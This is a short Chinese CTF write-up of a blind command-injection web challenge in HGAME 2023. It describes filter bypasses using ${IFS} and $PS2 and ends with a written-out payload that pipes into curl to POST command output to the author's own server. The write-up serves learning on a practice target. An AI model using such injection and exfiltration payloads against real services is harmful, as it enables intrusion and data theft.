HGAME 2023 Week3 writeup by D3ic1de

Web

Ping To The Host

一个ping工具，先试试能整点啥，发现其中有被过滤的字符会返回Waf!命令运行成功则会返回Success，执行失败则会返回Failed

空格被过滤

这题不存在回显，去搜了一些没有回显时的做法，要么是将ls的数据写入文件再访问这个文件，要么就是用反弹shell，我试试写入文件，发现>被过滤了，然后将>换成$PS2进行一个绕过，但是命令执行失败了。然后去问了ek1ng，这个题目是无法访问写进去的文件的，可以用curl带出命令执行结果，然后去搜curl的用法，但是查了好多但是就是没找到可以带出命令结果的，然后去问了R1esbyfe,可以get传参,-X可以指定POST,-d可以指定数据，数据本身可以是命令结果，也可以是文件的内容，curl自己的服务器。

然后连夜去整了个自己的服务器(反正以后也要用)，安装Apache服务，curl动自己的服务器了|curl${IFS}-d${IFS}ls${IFS}-X${IFS}POST${IFS}"服务器公网IP"，但是又不知道怎么给数据调出来